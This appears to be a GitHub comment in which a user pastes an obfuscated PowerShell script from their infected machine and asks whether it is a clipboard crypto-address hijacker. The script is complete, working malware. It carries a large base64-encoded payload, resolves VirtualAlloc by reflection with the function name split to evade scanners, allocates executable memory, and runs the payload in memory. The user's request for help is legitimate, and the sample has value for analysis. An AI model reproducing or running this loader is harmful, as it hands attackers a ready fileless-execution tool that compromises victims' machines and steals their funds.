TAADVUwAAxE8BAOxTAABiVQAA8FIBAGRVAADuVgAACFMBAPBWAAD5WAAAIFMBAPxYAACDWgAAOFMBAIRaAACSXQAAVFMBAJxdAACtXgAAlFMBALBeAADOXwAAeFMBANBfAACKYQAAJFQBAIxhAAAJYgAAyFMBAAxiAACcYgAAAFABAJxiAAB9ZAAACFQBAIBkAAA+ZgAA+FMBAEBmAAD4ZgAA0FMBAPhmAABYZwAAVE8BAFhnAAB0ZwAAVE8BAHRnAAAtagAAqFMBADBqAAClagAASFQBALxqAADhagAAVE8BAEBrAADtawAAWFQBAPBrAADxbAAACF';
$dat += 'MBAPRsAACJbQAAAFABAIxtAABibwAAyFABAGRvAACybwAAxE8BALRvAADubwAAVE8BAPBvAAA4cAAAxE8BADhwAAB+cAAAxE8BAIBwAADGcAAAxE8BAMhwAAAZcQAAJFABABxxAAB9cQAAjE8BAIBxAABccgAAbFQBAFxyAACscgAAJFABAKxyAADdcgAAZFQBAOByAAAhcwAAxE8BACRzAABAcwAAVE8BAExzAAA5dAAAoFQBADx0AABIdQAAvFQBAEh1AACDdQAAgFQBAIR1AADEdQAAJFABAMR1AABEdgAAjE8BAER2AACAdgAAJFABAIh2AAC3dgAAxE8BALh2AADsdgAA1FQBAOx2AAAxdwAAOFUBADR3AABidwAA9FQBAIR3AADueQAA/FQBAEh6AADiegAAZFUBAOR6AADEewAAiFUBAMR7AAAhfAAAXFUBACR8AACefAAAjE8BAKB8AADrfAAAxE8BAPR8AAATfgAAvFQBABR+AABvfgAAxE8BAIh+AAAGgAAAbFQBABCAAABBgAAAxE8BAESAAAB1gAAAxE8BAHiAAACegAAAVE8BAKCAAAAOgQAAsFUBAByBAABKgQAA9FQBAEyBAAB7gQAAVE8BABCCAACGgwAAAFABALCDAADmgwAAFFIBABCEAAC4hAAAVE8BALiEAAAmhQAA2FUBACiFAACNhQAAJFABAJCFAADrhQAA/FUBAOuFAAAPiQAAFFYBAA+JAAAtiQAAOFYBADCJAAADigAAJFABAASKAACiigAAWFYBALCKAAB4jgAASFYBAICOAAAUjwAAaFYBABSPAAChkAAAdFYBAKSQAAC5kwAArFYBALyTAABSlAAAnFYBAFSUAABrlAAAVE8BAGyUAACllAAAVE8BAKiUAAAilQAAJFABACSVAADTlQAAtFEBANSVAAB5lgAAAFABAHyWAADMlgAA6FYBAMyWAAB0lwAA+FYBAMSXAAB+mAAA1FYBAICYAAD1mAAAVE8BAPiYAACEmQAALFcBAISZAAAVmgAAJFcBABiaAAAEnwAAmFcBAASfAAAGoAAAvFcBAAigAAAhoQAAvFcBACShAACUogAA3FcBAJSiAAB/owAAUFcBAICjAABjpgAAgFcBAGSmAAAVpwAAAFgBABinAABYpwAAxE8BAFinAAC3pwAAVE8BALinAAADqAAAyFMBAASoAAA9qAAAJFgBAECoAAC2qQAALFgBALipAADCqgAARFgBAMSqAAAwqwAAFFIBADCrAACIqwAAjE8BAIirAACQrAAATFgBAPysAACVrQAAjE8BAKCtAADbrQAAXFgBANytAABfrgAAJFABAGCuAADCrgAAZFgBAMSuAACZsAAAiFgBAKCwAABLtgAAqFgBAEy2AACetgAAyFMBAKC2AAC8tgAAVE8BALy2AAB6twAAlFMBAHy3AADttwAAtFgBAPC3AACRuAAAJFcBAJS4AABRuQAAJFABAHC5AADVuQAA2FgBANi5AACSugAAjE8BAJS6AAC7uwAA4FgBAMC7AAAwvAAAAFkBADC8AABQvAAArE4BAFC8AADmvAAACFkBAAC9AAAQvQAAGFkBAFC9AAB3vQAAIFkBAHi9AACFwAAAKFkBAIjAAAC2wAAAVE8BALjAAADVwAAAxE8BANjAAABUwQAAPFkBAFTBAABzwQAAxE8BAHTBAACFwQAAVE8BAODBAAAtwgAAZFkBAGDCAAB9wgAAVE8BAIDCAADbwgAAiFkBAPDCAAA+wwAAkFkBAFDDAAAXxAAAmFkBADDEAAAyxAAAQFABAFDEAABWxAAASFABAGDEAAB3xAAA+E4B';
$dat += 'AHfEAACQxAAA+E4BAJDEAACkxAAA+E4BAKTEAADaxAAAhE8BANrEAADyxAAA+E8BAPLEAACIxQAAiFABAIjFAACixQAA+E4BAKLFAAC9xQAA+E4BAL3FAADWxQAA+E4BANbFAADvxQAA+E4BAO/FAAAFxgAA+E4BAAXGAAAmxgAA+E4BACbGAABBxgAA+E4BAEHGAABexgAA+E4BAF7GAAB4xgAA+E4BAHjGAACRxgAA+E4BAJHGAACrxgAA+E4BAKvGAADCxgAA+E4BAMLGAADbxgAA+E4BANvGAADzxgAA+E4BAPPGAAAfxwAA+E4BACDHAABAxwAA+E4BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHioAABsqAABHKgAAFyoAACQqAAA0KgAARCoAABQqAABMKgAAKCoAAGAqAABQKgAAICoAADAqAABAKgAAECoAAGgqAAAAAAAAAAAAAAAAAABuLQAAVC4AAKgtAADfLQAAWi4AAD8uAAAwLgAAsC0AAE0uAAAVLgAABi4AAJAtAAAjLgAA8C0AAMgtAABwLQAANjAAAC8wAAAhMAAAEzAAAAUwAADxLwAA3S8AAMkvAAC1LwAAZjEAAF8xAABRMQAAQzEAADUxAAAhMQAADTEAAPkwAADlMAAAwjIAALsyAACtMgAAnzIAAJEyAACDMgAAdTIAAGcyAABZMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAGAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAgAAADAAAIAAAAAAAAAAAAAAAAAAAAEACQQAAEgAAABgsAEAfQEAAAAAAAAAAAAAAAAAAAAAAAA8P3htbCB2ZXJzaW9uPScxLjAnIGVuY29kaW5nPSdVVEYtOCcgc3RhbmRhbG9uZT0neWVzJz8+DQo8YXNzZW1ibHkgeG1sbnM9J3VybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxJyBtYW5pZmVz';
$dat += 'dFZlcnNpb249JzEuMCc+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSdhc0ludm9rZXInIHVpQWNjZXNzPSdmYWxzZScgLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAEAQAAsKK4osCiyKLQovCi+KIAoxijIKMoo4ijkKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpaClsKXApdCl4KXwpQCmEKYgpjCmQKZQpmCmcKaAppCmoKawpsCm0KbgpvCmAKcQpyCnMKdAp1CnYKdwp4CnkKegp7CnwKfQp+Cn8KcAqBCoIKgwqECoUKhgqHCogKiQqKCosKjAqNCo4KjwqACpEKkgqTCpQKlQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqkKqgqrCqAOAAACABAAB4oYChiKHAo9Cj4KPoo/Cj+KMApAikEKQYpCikMKQ4pECkSKRQpFikYKR4pIikmKSgpKiksKS4pCimMKY4pkCmkKaYpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnCKcQpxinIKcop0CsSKxQrFisYKxorHCseKyArIiskKyYrKCsqKywrLiswKzIrNCs2KzgrOis8Kz4rACtCK0QrRitIK0orTCtOK1ArUitUK1YrWCtaK1wrXitgK2IrZCtoK2orbCtuK3Arcit0K3YreCt6K3wrfitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgAAAPAAAPAAAADIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv';
$dat += '4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrVitaK14rYitmK2orbityK3Yreit+K0IrhiuKK44rkiuWK5orniuiK6YrqiuuK7Irtiu6K74rgivGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivAAABAOgAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIoliiaKJ4ooiimKKooriiyKLYouii+KIIoxijKKM4o0ijWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUYpSilOKVIpVilaKV4pYilmKWopbilyKXYpeil+KUIphimKKY4pkimWKZopnimiKaYpqimuKbIptim6Kb4pgAQAQCkAQAAIKMwo0CjUKNgo3CjgKOQo6CjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCssKzArNCs4KzwrACtEK0grTCtQK1QrWCtcK2ArZCtoK2wrcCt0K3grfCtAK4QriCuMK5ArlCuYK5wroCukK6grrCuwK7QruCu8K4ArxCvIK8wr0CvUK9gr3CvgK+Qr6CvsK/Ar9Cv4K/wrwAgAQA0AAAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKEAQAEALAAAAACpCKkQqRipIKkoqTCpOKlAqRiqMKo4qsCq2Krgquiq8KoAAABwAQBEAAAAoKXopQimKKZIpmimmKawprimwKb4pgCnIKgoqDCoOKhAqEioUKhYqGCoaKh4qICoiKiQqJiooKioqLCoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';

$assemblies = New-Object -TypeName System.Collections.Generic.Dictionary'[string, System.Reflection.Assembly]' -ArgumentList ([StringComparer]::OrdinalIgnoreCase)
foreach ($assembly in ([AppDomain]::CurrentDomain.GetAssemblies())) {
    $assemblies[[System.IO.Path]::GetFileName($assembly.Location)] = $assembly;
}

function Get-Ptr {
    param (
        [IntPtr]
        $ptr,
        [type[]]
        $params,
        [type]
        $rettype
    )
    $bu = [AppDomain]::CurrentDomain.DefineDynamicAssembly([System.Reflection.AssemblyName]::new(('_' + [guid]::NewGuid().ToString())), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(('_' + [guid]::NewGuid().ToString()), $false).DefineType(('_' + [guid]::NewGuid().ToString()), 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);
    $bu.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $params).SetImplementationFlags('Runtime, Managed');
    $bu.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $rettype, $params).SetImplementationFlags('Runtime, Managed');
    $del = $bu.CreateType();
    return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ptr, $del);
}

function Get-Func {
    param (
        [string]
        $module,
        [string]
        $name,
        [type[]]
        $params,
        [type]
        $rettype
    )
    $na = $assemblies['System.dll'].GetType(('Microsoft' + '.Win32.' + 'UnsafeN' + 'ativeMethods'));
    $gp = $na.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'));
    $md = $na.GetMethod('GetModuleHandle').Invoke($null, @($module));
    $ptr = $gp.Invoke($null, @(([System.Runtime.InteropServices.HandleRef]::new([object]::new(), $md)), $name));
    return Get-Ptr $ptr $params $rettype;
}

$fname = 'V';
$fname += 'i';
$fname += 'r';
$fname += 't';
$fname += 'u';
$fname += 'a';
$fname += 'l';
$fname += 'A';
$fname += 'l';
$fname += 'l';
$fname += 'o';
$fname += 'c';
$func = Get-Func 'Kernel32.dll' $fname @([IntPtr], [IntPtr], [uint32], [uint32]) ([IntPtr]);

$dat = [Convert]::FromBase64String($dat);
$patch = $func.Invoke(0, 8208, 12288, 64);
[Runtime.InteropServices.Marshal]::Copy($dat, 0, $patch, 8208);
$patchfunc = Get-Ptr $patch @([uint32], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr]);
$patch2 = [Runtime.InteropServices.Marshal]::AllocHGlobal(95232);
[Runtime.InteropServices.Marshal]::Copy($dat, 8208, $patch2, 95232);
$patchfunc.Invoke(0, $patch2, 1, 0);

while($true)
{
    Start-Sleep 10
}

It is all obfuscated but I think it's prob a virus. Is this one of the scripts that cause of random crypto adresses in my clipboard?

Also, BitDefender shows powershell accessing a bunch of random domains (gibberish.com) every so often. They all are like example.com/v2/SOMEKEYHERE?v=Ver_2 if that is helpful as well.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment